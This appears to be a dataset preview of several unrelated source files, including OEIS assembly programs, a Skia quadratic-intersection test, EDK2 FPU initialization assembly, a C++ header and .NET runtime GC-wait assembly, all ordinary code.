text
stringlengths
1
1.05M
.xlist include xsum.x86 .list
; A162762: Minimal number of floors an elevator must move to transport n passengers initially waiting at floors i = 1, ..., n to their destinations, floor n+1-i (= n, ..., 1), if the elevator can transport at most C = 2 persons at a time and starts at floor 1, and no one may get off the elevator before reaching their destination. ; 0,2,4,6,8,14,18,22,26,34,40,46,52,62,70,78,86 mov $2,$0 lpb $0 sub $0,3 add $1,$2 mov $2,$0 trn $0,1 lpe mul $1,2 mov $0,$1
/* * Copyright 2012 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "PathOpsQuadIntersectionTestData.h" #include "PathOpsTestCommon.h" #include "SkIntersections.h" #include "SkPathOpsRect.h" #include "SkReduceOrder.h" #include "Test.h" static void standardTestCases(skiatest::Reporter* reporter) { bool showSkipped = false; for (size_t index = 0; index < quadraticTests_count; ++index) { const SkDQuad& quad1 = quadraticTests[index][0]; SkASSERT(ValidQuad(quad1)); const SkDQuad& quad2 = quadraticTests[index][1]; SkASSERT(ValidQuad(quad2)); SkReduceOrder reduce1, reduce2; int order1 = reduce1.reduce(quad1); int order2 = reduce2.reduce(quad2); if (order1 < 3) { if (showSkipped) { SkDebugf("[%d] quad1 order=%d\n", static_cast<int>(index), order1); } } if (order2 < 3) { if (showSkipped) { SkDebugf("[%d] quad2 order=%d\n", static_cast<int>(index), order2); } } if (order1 == 3 && order2 == 3) { SkIntersections intersections; intersections.intersect(quad1, quad2); if (intersections.used() > 0) { for (int pt = 0; pt < intersections.used(); ++pt) { double tt1 = intersections[0][pt]; SkDPoint xy1 = quad1.ptAtT(tt1); double tt2 = intersections[1][pt]; SkDPoint xy2 = quad2.ptAtT(tt2); if (!xy1.approximatelyEqual(xy2)) { SkDebugf("%s [%d,%d] x!= t1=%g (%g,%g) t2=%g (%g,%g)\n", __FUNCTION__, static_cast<int>(index), pt, tt1, xy1.fX, xy1.fY, tt2, xy2.fX, xy2.fY); REPORTER_ASSERT(reporter, 0); } } } } } } static const SkDQuad testSet[] = { {{{-708.00779269310044, -154.36998607290101}, {-707.90560262312511, -154.36998607290101}, {-707.8333433370193, -154.44224536635932}}}, {{{-708.00779269310044, -154.61669472244046}, {-701.04513225634582, -128.85970734043804}, {505.58447265625, -504.9130859375}}}, {{{164, -40}, {231.51681518554687, -40}, {279.25839233398438, 7.7416000366210938}}}, {{{279.25839233398438, 7.7416000366210938}, {275.2164306640625, 3.6996400356292725}, {271.03286743164062, -5.3290705182007514e-015}}}, {{{2.9999997378517067, 1.9737872594345709}, {2.9999997432230918, 1.9739647181863822}, {1.2414155459263587e-163, 5.2957833941332142e-315}}}, {{{2.9999047485265304, 1.9739164225694723}, {3.0000947268526112, 1.9738379076623633}, {0.61149411077591886, 0.0028382324376270418}}}, {{{2.9999996843656502, 1.9721416019045801}, {2.9999997725237835, 1.9749798343422071}, {5.3039068214821359e-315, 8.9546185262775165e-307}}}, {{{2.9984791443874976, 1.974505741312242}, {2.9999992702127476, 1.9738772171479178}, {3.0015187977319759, 1.9732495027303418}}}, {{{0.647069409,2.97691634}, {0.946860918,3.17625612}, {1.46875407,2.65105457}}}, {{{0,1}, {0.723699095,2.82756208}, {1.08907197,2.97497449}}}, {{{131.37418,11414.9825}, {130.28798,11415.9328}, {130.042755,11417.4131}}}, {{{130.585787,11418.4142}, {130.021447,11417.8498}, {130,11417}}}, {{{130.73167037963867, 11418.546386718750}, {131.26360225677490, 11418.985778808592}, {132, 11419 }}}, {{{132, 11419}, {131.15012693405151, 11418.978546142578}, {130.58578681945801, 11418.414184570313}}}, {{{132, 11419}, {130.73167037963867, 11418.546386718750}, {131.26360225677490, 11418.985778808592}}}, {{{131.15012693405151, 11418.978546142578}, {130.58578681945801, 11418.414184570313}, {132, 11419}}}, {{{3.0774019473063863, 3.35198509346713}, {3.0757503498668397, 3.327320623945933}, {3.0744102085015879, 3.3025879417907196}}}, {{{3.053913680774329, 3.3310471586283938}, {3.0758730889691694, 3.3273466070370152}, {3.0975671980059394, 3.3235031316554351}}}, {{{3.39068129, 4.44939202}, {3.03659239, 3.81843234}, {3.06844529, 3.02100922}}}, {{{2.10714698, 3.44196686}, {3.12180288, 3.38575704}, {3.75968569, 3.1281838}}}, {{{2.74792918, 4.77711896}, {2.82236867, 4.23882547}, {2.82848144, 3.63729341}}}, {{{2.62772567, 3.64823958}, {3.46652495, 3.64258364}, {4.1425079, 3.48623815}}}, {{{1.34375, 2.03125}, {2.2734375, 2.6640625}, {3.25, 3.25}}}, {{{3.96875, 4.65625}, {3.3359375, 3.7265625}, {2.75, 2.75}}}, {{{0, 1}, {0.324417544, 2.27953848}, {0.664376547, 2.58940267}}}, {{{1, 2}, {0.62109375, 2.70703125}, {0.640625, 2.546875}}}, {{{1, 2}, {0.984375, 2.3359375}, {1.0625, 2.15625}}}, {{{0, 1}, {0.983539095, 2.30041152}, {1.47325103, 2.61316872}}}, {{{4.09011926, 2.20971038}, {4.74608133, 1.9335932}, {5.02469918, 2.00694987}}}, {{{2.79472921, 1.73568666}, {3.36246373, 1.21251209}, {5, 2}}}, {{{1.80814127, 2.41537795}, {2.23475077, 2.05922313}, {3.16529668, 1.98358763}}}, {{{2.16505631, 2.55782454}, {2.40541285, 2.02193091}, {2.99836023, 1.68247638}}}, {{{3, 1.875}, {3.375, 1.54296875}, {3.375, 1.421875}}}, {{{3.375, 1.421875}, {3.3749999999999996, 1.3007812499999998}, {3, 2}}}, {{{3.34, 8.98}, {2.83363281, 9.4265625}, {2.83796875, 9.363125}}}, {{{2.83796875, 9.363125}, {2.84230469, 9.2996875}, {3.17875, 9.1725}}}, {{{2.7279999999999998, 3.024}, {2.5600000000000005, 2.5600000000000005}, {2.1520000000000001, 1.8560000000000001}}}, {{{0.66666666666666652, 1.1481481481481481}, {1.3333333333333326, 1.3333333333333335}, {2.6666666666666665, 2.1851851851851851}}}, {{{2.728, 3.024}, {2.56, 2.56}, {2.152, 1.856}}}, {{{0.666666667, 1.14814815}, {1.33333333, 1.33333333}, {2.66666667, 2.18518519}}}, {{{0.875, 1.5}, {1.03125, 1.11022302e-16}, {1, 0}}}, {{{0.875, 0.859375}, {1.6875, 0.73046875}, {2.5, 0.625}}}, {{{1.64451042, 0.0942001592}, {1.53635465, 0.00152863961}, {1, 0}}}, {{{1.27672209, 0.15}, {1.32143477, 9.25185854e-17}, {1, 0}}}, {{{0, 0}, {0.51851851851851849, 1.0185185185185186}, {1.2592592592592591, 1.9259259259259258}}}, {{{1.2592592592592593, 1.9259259259259265}, {0.51851851851851893, 1.0185185185185195}, {0, 0}}}, {{{1.93281168, 2.58856757}, {2.38543691, 2.7096125}, {2.51967352, 2.34531784}}}, {{{2.51967352, 2.34531784}, {2.65263731, 2.00639194}, {3.1212119, 1.98608967}}}, {{{2.09544533, 2.51981963}, {2.33331524, 2.25252128}, {2.92003302, 2.39442311}}}, {{{0.924337655, 1.94072717}, {1.25185043, 1.52836494}, {1.71793901, 1.06149951}}}, {{{0.940798831, 1.67439357}, {1.25988251, 1.39778567}, {1.71791672, 1.06650313}}}, {{{0.924337655, 1.94072717}, {1.39158994, 1.32418496}, {2.14967426, 0.687365435}}}, {{{0.940798831, 1.67439357}, {1.48941875, 1.16280321}, {2.47884711, 0.60465921}}}, {{{1.7465749139282332, 1.9930452039527999}, {1.8320006564080331, 1.859481345189089}, {1.8731035127758437, 1.6344055934266613}}}, {{{1.8731035127758437, 1.6344055934266613}, {1.89928170345231, 1.5006405518943067}, {1.9223833226085514, 1.3495796165215643}}}, {{{1.74657491, 1.9930452}, {1.87407679, 1.76762853}, {1.92238332, 1.34957962}}}, {{{0.60797907, 1.68776977}, {1.0447864, 1.50810914}, {1.87464474, 1.63655092}}}, {{{1.87464474, 1.63655092}, {2.70450308, 1.76499271}, {4, 3}}}, {{{1.2071879545809394, 0.82163474041730045}, {1.1534203513372994, 0.52790870069930229}, {1.0880000000000001, 0.29599999999999982}}}, //t=0.63155333662549329,0.80000000000000004 {{{0.33333333333333326, 0.81481481481481488}, {0.63395173631977997, 0.68744136726313931}, {1.205684411948591, 0.81344322326274499}}}, {{{0.33333333333333326, 0.81481481481481488}, {0.63396444791444551, 0.68743368362444768}, {1.205732763658403, 0.81345617746834109}}}, //t=0.33333333333333331, 0.63396444791444551 {{{1.205684411948591, 0.81344322326274499}, {1.2057085875611198, 0.81344969999329253}, {1.205732763658403, 0.81345617746834109}}}, {{{1.20718795, 0.82163474}, {1.15342035, 0.527908701}, {1.088, 0.296}}}, {{{1.20568441, 0.813443223}, {1.20570859, 0.8134497}, {1.20573276, 0.813456177}}}, {{{41.5072916, 87.1234036}, {28.2747836, 80.9545395}, {23.5780771, 69.3344126}}}, {{{72.9633878, 95.6593007}, {42.7738746, 88.4730382}, {31.1932785, 80.2458029}}}, {{{31.1663962, 54.7302484}, {31.1662882, 54.7301074}, {31.1663969, 54.7302485}}}, {{{26.0404936, 45.4260361}, {27.7887523, 33.1863051}, {40.8833242, 26.0301855}}}, {{{29.9404074, 49.1672596}, {44.3131071, 45.3915253}, {58.1067559, 59.5061814}}}, {{{72.6510251, 64.2972928}, {53.6989659, 60.1862397}, {35.2053722, 44.8391126}}}, {{{52.14807018377202, 65.012420045148644}, {44.778669050208237, 66.315562705604378}, {51.619118408823567, 63.787827046262684}}}, {{{30.004993234763383, 93.921296668202288}, {53.384822003076991, 60.732180341802753}, {58.652998934338584, 43.111073088306185}}}, {{{80.897794748143198, 49.236332042718459}, {81.082078218891212, 64.066749904488631}, {69.972305057149981, 72.968595519850993}}}, {{{72.503745601281395, 32.952320736577882}, {88.030880716061645, 38.137194847810164}, {73.193774825517906, 67.773492479591397}}}, {{{67.426548091427676, 37.993772624988935}, {51.129513170665035, 57.542281234563646}, {44.594748190899189, 65.644267382683879}}}, {{{61.336508189019057, 82.693132843213675}, {54.825078921449354, 71.663932799212432}, {47.727444217558926, 61.4049645128392}}}, {{{67.4265481, 37.9937726}, {51.1295132, 57.5422812}, {44.5947482, 65.6442674}}}, {{{61.3365082, 82.6931328}, {54.8250789, 71.6639328}, {47.7274442, 61.4049645}}}, {{{53.774852327053594, 53.318060789841951}, {45.787877803416805, 51.393492026284981}, {46.703936967162392, 53.06860709822206}}}, {{{46.703936967162392, 53.06860709822206}, {47.619996130907957, 54.74372217015916}, {53.020051653535361, 48.633140968832024}}}, {{{50.934805397717923, 51.52391952648901}, {56.803308902971423, 44.246234610627596}, {69.776888596721406, 40.166645096692555}}}, {{{50.230212796400401, 38.386469101526998}, {49.855620812184917, 38.818990392153609}, {56.356567496227363, 47.229909093319407}}}, {{{36.148792695174222, 70.336952793070424}, {36.141613037691357, 70.711654739870085}, {36.154708826402597, 71.088492662905836}}}, {{{35.216235592661825, 70.580199617313212}, {36.244476835123969, 71.010897787304074}, {37.230244263238326, 71.423156953613102}}}, // this pair is nearly coincident, and causes the quartic code to produce bad // data. Mathematica doesn't think they touch. Graphically, I can't tell. // it may not be so bad to pretend that they don't touch, if I can detect that {{{369.848602, 145.680267}, {382.360413, 121.298294}, {406.207703, 121.298294}}}, {{{369.850525, 145.675964}, {382.362915, 121.29287}, {406.211273, 121.29287}}}, {{{33.567436351153468, 62.336347586395924}, {35.200980274619084, 65.038561460144479}, {36.479571811084995, 67.632178905412445}}}, {{{41.349524945572696, 67.886658677862641}, {39.125562529359087, 67.429772735149214}, {35.600314083992416, 66.705372160552685}}}, {{{67.25299631583178, 21.109080184767524}, {43.617595267398613, 33.658034168577529}, {33.38371819435676, 44.214192553988745}}}, {{{40.476838859398541, 39.543209911285999}, {36.701186108431131, 34.8817994016458}, {30.102144288878023, 26.739063172945315}}}, {{{25.367434474345036, 50.4712103169743}, {17.865013304933097, 37.356741010559439}, {16.818988838905465, 37.682915484123129}}}, {{{16.818988838905465, 37.682915484123129}, {15.772964372877833, 38.009089957686811}, {20.624104547604965, 41.825131596683121}}}, {{{26.440225044088567, 79.695009812848298}, {26.085525979582247, 83.717928354134784}, {27.075079976297072, 84.820633667838905}}}, {{{27.075079976297072, 84.820633667838905}, {28.276546859574015, 85.988574184029034}, {25.649263209500006, 87.166762066617025}}}, {{{34.879150914024962, 83.862726601601125}, {35.095810134304429, 83.693473210169543}, {35.359284111931586, 83.488069234177502}}}, {{{54.503204203015471, 76.094098492518242}, {51.366889541918894, 71.609856061299155}, {46.53086955445437, 69.949863036494207}}}, {{{0, 0}, {1, 0}, {0, 3}}}, {{{1, 0}, {0, 1}, {1, 1}}}, {{{369.961151, 137.980698}, {383.970093, 121.298294}, {406.213287, 121.298294}}}, {{{353.2948, 194.351074}, {353.2948, 173.767563}, {364.167572, 160.819855}}}, {{{360.416077, 166.795715}, {370.126831, 147.872162}, {388.635406, 147.872162}}}, {{{406.236359, 121.254936}, {409.445679, 121.254936}, {412.975952, 121.789818}}}, {{{406.235992, 121.254936}, {425.705902, 121.254936}, {439.71994, 137.087616}}}, {{{369.8543701171875, 145.66734313964844}, {382.36788940429688, 121.28203582763672}, {406.21844482421875, 121.28203582763672}}}, {{{369.96469116210938, 137.96672058105469}, {383.97555541992188, 121.28203582763672}, {406.2218017578125, 121.28203582763672}}}, {{{369.962311, 137.976044}, {383.971893, 121.29287}, {406.216125, 121.29287}}}, {{{400.121704, 149.468719}, {391.949493, 161.037186}, {391.949493, 181.202423}}}, {{{391.946747, 181.839218}, {391.946747, 155.62442}, {406.115479, 138.855438}}}, {{{360.048828125, 229.2578125}, {360.048828125, 224.4140625}, {362.607421875, 221.3671875}}}, {{{362.607421875, 221.3671875}, {365.166015625, 218.3203125}, {369.228515625, 218.3203125}}}, {{{8, 8}, {10, 10}, {8, -10}}}, {{{8, 8}, {12, 12}, {14, 4}}}, {{{8, 8}, {9, 9}, {10, 8}}} }; const size_t testSetCount = SK_ARRAY_COUNT(testSet); static void oneOffTest1(skiatest::Reporter* reporter, size_t outer, size_t inner) { const SkDQuad& quad1 = testSet[outer]; SkASSERT(ValidQuad(quad1)); const SkDQuad& quad2 = testSet[inner]; SkASSERT(ValidQuad(quad2)); SkIntersections intersections2; intersections2.intersect(quad1, quad2); for (int pt = 0; pt < intersections2.used(); ++pt) { double tt1 = intersections2[0][pt]; SkDPoint xy1 = quad1.ptAtT(tt1); double tt2 = intersections2[1][pt]; SkDPoint xy2 = quad2.ptAtT(tt2); if (!xy1.approximatelyEqual(xy2)) { SkDebugf("%s [%d,%d] x!= t1=%g (%g,%g) t2=%g (%g,%g)\n", __FUNCTION__, static_cast<int>(outer), static_cast<int>(inner), tt1, xy1.fX, xy1.fY, tt2, xy2.fX, xy2.fY); REPORTER_ASSERT(reporter, 0); } #if ONE_OFF_DEBUG SkDebugf("%s [%d][%d] t1=%1.9g (%1.9g, %1.9g) t2=%1.9g\n", __FUNCTION__, outer, inner, tt1, xy1.fX, xy1.fY, tt2); #endif } } DEF_TEST(PathOpsQuadIntersectionOneOff, reporter) { oneOffTest1(reporter, 0, 1); } static void oneOffTests(skiatest::Reporter* reporter) { for (size_t outer = 0; outer < testSetCount - 1; ++outer) { for (size_t inner = outer + 1; inner < testSetCount; ++inner) { oneOffTest1(reporter, outer, inner); } } } static const SkDQuad coincidentTestSet[] = { #if 0 {{{97.9337615966796875,100}, {88,112.94264984130859375}, {88,130}}}, {{{88,130}, {88,124.80951690673828125}, {88.91983795166015625,120}}}, #endif {{{369.850525, 145.675964}, {382.362915, 121.29287}, {406.211273, 121.29287}}}, {{{369.850525, 145.675964}, {382.362915, 121.29287}, {406.211273, 121.29287}}}, {{{8, 8}, {10, 10}, {8, -10}}}, {{{8, -10}, {10, 10}, {8, 8}}}, }; static const int coincidentTestSetCount = (int) SK_ARRAY_COUNT(coincidentTestSet); static void coincidentTestOne(skiatest::Reporter* reporter, int test1, int test2) { const SkDQuad& quad1 = coincidentTestSet[test1]; SkASSERT(ValidQuad(quad1)); const SkDQuad& quad2 = coincidentTestSet[test2]; SkASSERT(ValidQuad(quad2)); SkIntersections intersections2; intersections2.intersect(quad1, quad2); REPORTER_ASSERT(reporter, intersections2.coincidentUsed() == 2); REPORTER_ASSERT(reporter, intersections2.used() == 2); for (int pt = 0; pt < intersections2.coincidentUsed(); ++pt) { double tt1 = intersections2[0][pt]; double tt2 = intersections2[1][pt]; SkDPoint pt1 = quad1.ptAtT(tt1); SkDPoint pt2 = quad2.ptAtT(tt2); REPORTER_ASSERT(reporter, pt1.approximatelyEqual(pt2)); } } static void coincidentTest(skiatest::Reporter* reporter) { for (int testIndex = 0; testIndex < coincidentTestSetCount - 1; testIndex += 2) { coincidentTestOne(reporter, testIndex, testIndex + 1); } } DEF_TEST(PathOpsQuadIntersectionCoincidenceOneOff, reporter) { coincidentTestOne(reporter, 0, 1); } static int floatSign(double x) { return x < 0 ? -1 : x > 0 ? 1 : 0; } static const SkDQuad pointFinderTestSet[] = { //>=0.633974464 0.633974846 <= {{{1.2071879545809394, 0.82163474041730045}, {1.1534203513372994, 0.52790870069930229}, {1.0880000000000001, 0.29599999999999982}}}, //t=0.63155333662549329, 0.80000000000000004 {{{1.2071879545809394, 0.82163474041730045}, {1.2065040319428038, 0.81766753259119995}, {1.2058123269101506, 0.81370135061854221}}}, //t=0.63155333662549329, 0.6339049773632347 {{{1.2058123269101506, 0.81370135061854221}, {1.152376363978022, 0.5244097415381026}, {1.0880000000000001, 0.29599999999999982}}}, //t=0.6339049773632347, 0.80000000000000004 //>=0.633974083 0.633975227 <= {{{0.33333333333333326, 0.81481481481481488}, {0.63395173631977997, 0.68744136726313931}, {1.205684411948591, 0.81344322326274499}}}, //t=0.33333333333333331, 0.63395173631977986 {{{0.33333333333333326, 0.81481481481481488}, {0.63396444791444551, 0.68743368362444768}, {1.205732763658403, 0.81345617746834109}}}, //t=0.33333333333333331, 0.63396444791444551 {{{1.205684411948591, 0.81344322326274499}, {1.2057085875611198, 0.81344969999329253}, {1.205732763658403, 0.81345617746834109}}}, //t=0.63395173631977986, 0.63396444791444551 {{{1.205732763658403, 0.81345617746834109}, {1.267928895828891, 0.83008534558465619}, {1.3333333333333333, 0.85185185185185175}}}, //t=0.63396444791444551, 0.66666666666666663 }; static void pointFinder(const SkDQuad& q1, const SkDQuad& q2) { for (int index = 0; index < 3; ++index) { double t = q1.nearestT(q2[index]); SkDPoint onQuad = q1.ptAtT(t); SkDebugf("%s t=%1.9g (%1.9g,%1.9g) dist=%1.9g\n", __FUNCTION__, t, onQuad.fX, onQuad.fY, onQuad.distance(q2[index])); double left[3]; left[0] = ((const SkDLine&) q1[0]).isLeft(q2[index]); left[1] = ((const SkDLine&) q1[1]).isLeft(q2[index]); SkDLine diag = {{q1[0], q1[2]}}; left[2] = diag.isLeft(q2[index]); SkDebugf("%s left=(%d, %d, %d) inHull=%s\n", __FUNCTION__, floatSign(left[0]), floatSign(left[1]), floatSign(left[2]), q1.pointInHull(q2[index]) ? "true" : "false"); } SkDebugf("\n"); } static void hullIntersect(const SkDQuad& q1, const SkDQuad& q2) { SkDebugf("%s", __FUNCTION__); SkIntersections ts; for (int i1 = 0; i1 < 3; ++i1) { SkDLine l1 = {{q1[i1], q1[(i1 + 1) % 3]}}; for (int i2 = 0; i2 < 3; ++i2) { SkDLine l2 = {{q2[i2], q2[(i2 + 1) % 3]}}; if (ts.intersect(l1, l2)) { SkDebugf(" [%d,%d]", i1, i2); } } } SkDebugf("\n"); } static void QuadraticIntersection_PointFinder() { pointFinder(pointFinderTestSet[0], pointFinderTestSet[4]); pointFinder(pointFinderTestSet[4], pointFinderTestSet[0]); pointFinder(pointFinderTestSet[0], pointFinderTestSet[6]); pointFinder(pointFinderTestSet[6], pointFinderTestSet[0]); hullIntersect(pointFinderTestSet[0], pointFinderTestSet[4]); hullIntersect(pointFinderTestSet[0], pointFinderTestSet[6]); } static void intersectionFinder(int test1, int test2) { const SkDQuad& quad1 = testSet[test1]; const SkDQuad& quad2 = testSet[test2]; double t1Seed = 0.5; double t2Seed = 0.8; double t1Step = 0.1; double t2Step = 0.1; SkDPoint t1[3], t2[3]; bool toggle = true; do { t1[0] = quad1.ptAtT(t1Seed - t1Step); t1[1] = quad1.ptAtT(t1Seed); t1[2] = quad1.ptAtT(t1Seed + t1Step); t2[0] = quad2.ptAtT(t2Seed - t2Step); t2[1] = quad2.ptAtT(t2Seed); t2[2] = quad2.ptAtT(t2Seed + t2Step); double dist[3][3]; dist[1][1] = t1[1].distance(t2[1]); int best_i = 1, best_j = 1; for (int i = 0; i < 3; ++i) { for (int j = 0; j < 3; ++j) { if (i == 1 && j == 1) { continue; } dist[i][j] = t1[i].distance(t2[j]); if (dist[best_i][best_j] > dist[i][j]) { best_i = i; best_j = j; } } } if (best_i == 0) { t1Seed -= t1Step; } else if (best_i == 2) { t1Seed += t1Step; } if (best_j == 0) { t2Seed -= t2Step; } else if (best_j == 2) { t2Seed += t2Step; } if (best_i == 1 && best_j == 1) { if ((toggle ^= true)) { t1Step /= 2; } else { t2Step /= 2; } } } while (!t1[1].approximatelyEqual(t2[1])); t1Step = t2Step = 0.1; double t10 = t1Seed - t1Step * 2; double t12 = t1Seed + t1Step * 2; double t20 = t2Seed - t2Step * 2; double t22 = t2Seed + t2Step * 2; SkDPoint test; while (!approximately_zero(t1Step)) { test = quad1.ptAtT(t10); t10 += t1[1].approximatelyEqual(test) ? -t1Step : t1Step; t1Step /= 2; } t1Step = 0.1; while (!approximately_zero(t1Step)) { test = quad1.ptAtT(t12); t12 -= t1[1].approximatelyEqual(test) ? -t1Step : t1Step; t1Step /= 2; } while (!approximately_zero(t2Step)) { test = quad2.ptAtT(t20); t20 += t2[1].approximatelyEqual(test) ? -t2Step : t2Step; t2Step /= 2; } t2Step = 0.1; while (!approximately_zero(t2Step)) { test = quad2.ptAtT(t22); t22 -= t2[1].approximatelyEqual(test) ? -t2Step : t2Step; t2Step /= 2; } #if ONE_OFF_DEBUG SkDebugf("%s t1=(%1.9g<%1.9g<%1.9g) t2=(%1.9g<%1.9g<%1.9g)\n", __FUNCTION__, t10, t1Seed, t12, t20, t2Seed, t22); SkDPoint p10 = quad1.ptAtT(t10); SkDPoint p1Seed = quad1.ptAtT(t1Seed); SkDPoint p12 = quad1.ptAtT(t12); SkDebugf("%s p1=(%1.9g,%1.9g)<(%1.9g,%1.9g)<(%1.9g,%1.9g)\n", __FUNCTION__, p10.fX, p10.fY, p1Seed.fX, p1Seed.fY, p12.fX, p12.fY); SkDPoint p20 = quad2.ptAtT(t20); SkDPoint p2Seed = quad2.ptAtT(t2Seed); SkDPoint p22 = quad2.ptAtT(t22); SkDebugf("%s p2=(%1.9g,%1.9g)<(%1.9g,%1.9g)<(%1.9g,%1.9g)\n", __FUNCTION__, p20.fX, p20.fY, p2Seed.fX, p2Seed.fY, p22.fX, p22.fY); #endif } static void QuadraticIntersection_IntersectionFinder() { intersectionFinder(0, 1); } DEF_TEST(PathOpsQuadIntersection, reporter) { oneOffTests(reporter); coincidentTest(reporter); standardTestCases(reporter); if (false) QuadraticIntersection_IntersectionFinder(); if (false) QuadraticIntersection_PointFinder(); }
; A140668: a(n) = n + A140664(n). ; Submitted by Christian Krause ; 2,0,0,4,0,7,0,8,9,11,0,12,0,15,16,16,0,18,0,20,22,23,0,24,25,27,27,28,0,29,0,32,34,35,36,36,0,39,40,40,0,41,0,44,45,47,0,48,49,50,52,52,0,54,56,56,58,59,0,60,0,63,63,64,66,65,0,68,70,69,0,72,0,75,75,76,78,77,0,80,81,83,0,84,86,87,88,88,0,90,92,92,94,95,96,96,0,98,99,100 mov $1,$0 sub $0,1 seq $1,140664 ; a(n) = A014963(n)*mobius(n). add $0,$1 add $0,2
;------------------------------------------------------------------------------ ; ; Copyright (c) 2015, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Abstract: ; ;------------------------------------------------------------------------------ SECTION .data ; ; Float control word initial value: ; all exceptions masked, double-precision, round-to-nearest ; ASM_PFX(mFpuControlWord): dw 0x027F ; ; Multimedia-extensions control word: ; all exceptions masked, round-to-nearest, flush to zero for masked underflow ; ASM_PFX(mMmxControlWord): dd 0x01F80 SECTION .text ; ; Initializes floating point units for requirement of UEFI specification. ; ; This function initializes floating-point control word to 0x027F (all exceptions ; masked,double-precision, round-to-nearest) and multimedia-extensions control word ; (if supported) to 0x1F80 (all exceptions masked, round-to-nearest, flush to zero ; for masked underflow). ; global ASM_PFX(InitializeFloatingPointUnits) ASM_PFX(InitializeFloatingPointUnits): push ebx ; ; Initialize floating point units ; finit fldcw [ASM_PFX(mFpuControlWord)] ; ; Use CpuId instructuion (CPUID.01H:EDX.SSE[bit 25] = 1) to test ; whether the processor supports SSE instruction. ; mov eax, 1 cpuid bt edx, 25 jnc Done ; ; Set OSFXSR bit 9 in CR4 ; mov eax, cr4 or eax, BIT9 mov cr4, eax ; ; The processor should support SSE instruction and we can use ; ldmxcsr instruction ; ldmxcsr [ASM_PFX(mMmxControlWord)] Done: pop ebx ret
#ifndef INTERRUPTS_HPP #define INTERRUPTS_HPP #include <memory> #include <vector> #include <boost/program_options.hpp> #include "global_stats_logger.hpp" void init_interrupts_logger(boost::program_options::variables_map& vm, std::vector<std::shared_ptr<global_stats_logger> >& loggers); #endif
;; Licensed to the .NET Foundation under one or more agreements. ;; The .NET Foundation licenses this file to you under the MIT license. include asmmacros.inc ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; RhpWaitForSuspend -- rare path for RhpPInvoke and RhpReversePInvokeReturn ;; ;; ;; INPUT: none ;; ;; TRASHES: none ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; NESTED_ENTRY RhpWaitForSuspend, _TEXT push_vol_reg rax alloc_stack 60h ; save the arg regs in the caller's scratch space save_reg_postrsp rcx, 70h save_reg_postrsp rdx, 78h save_reg_postrsp r8, 80h save_reg_postrsp r9, 88h ; save the FP arg regs in our stack frame save_xmm128_postrsp xmm0, (20h + 0*10h) save_xmm128_postrsp xmm1, (20h + 1*10h) save_xmm128_postrsp xmm2, (20h + 2*10h) save_xmm128_postrsp xmm3, (20h + 3*10h) END_PROLOGUE test [RhpTrapThreads], TrapThreadsFlags_TrapThreads jz NoWait call RhpWaitForSuspend2 NoWait: movdqa xmm0, [rsp + 20h + 0*10h] movdqa xmm1, [rsp + 20h + 1*10h] movdqa xmm2, [rsp + 20h + 2*10h] movdqa xmm3, [rsp + 20h + 3*10h] mov rcx, [rsp + 70h] mov rdx, [rsp + 78h] mov r8, [rsp + 80h] mov r9, [rsp + 88h] add rsp, 60h pop rax ret NESTED_END RhpWaitForSuspend, _TEXT ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; RhpWaitForGCNoAbort -- rare path for RhpPInvokeReturn ;; ;; ;; INPUT: RCX: transition frame ;; ;; TRASHES: RCX, RDX, R8, R9, R10, R11 ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; NESTED_ENTRY RhpWaitForGCNoAbort, _TEXT push_vol_reg rax ; don't trash the integer return value alloc_stack 30h movdqa [rsp + 20h], xmm0 ; don't trash the FP return value END_PROLOGUE mov rdx, [rcx + OFFSETOF__PInvokeTransitionFrame__m_pThread] test dword ptr [rdx + OFFSETOF__Thread__m_ThreadStateFlags], TSF_DoNotTriggerGc jnz Done ; passing transition frame pointer in rcx call RhpWaitForGC2 Done: movdqa xmm0, [rsp + 20h] add rsp, 30h pop rax ret NESTED_END RhpWaitForGCNoAbort, _TEXT EXTERN RhpThrowHwEx : PROC ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; RhpWaitForGC -- rare path for RhpPInvokeReturn ;; ;; ;; INPUT: RCX: transition frame ;; ;; TRASHES: RCX, RDX, R8, R9, R10, R11 ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; NESTED_ENTRY RhpWaitForGC, _TEXT push_nonvol_reg rbx END_PROLOGUE mov rbx, rcx test [RhpTrapThreads], TrapThreadsFlags_TrapThreads jz NoWait call RhpWaitForGCNoAbort NoWait: test [RhpTrapThreads], TrapThreadsFlags_AbortInProgress jz Done test dword ptr [rbx + OFFSETOF__PInvokeTransitionFrame__m_Flags], PTFF_THREAD_ABORT jz Done mov rcx, STATUS_REDHAWK_THREAD_ABORT pop rbx pop rdx ; return address as exception RIP jmp RhpThrowHwEx ; Throw the ThreadAbortException as a special kind of hardware exception Done: pop rbx ret NESTED_END RhpWaitForGC, _TEXT 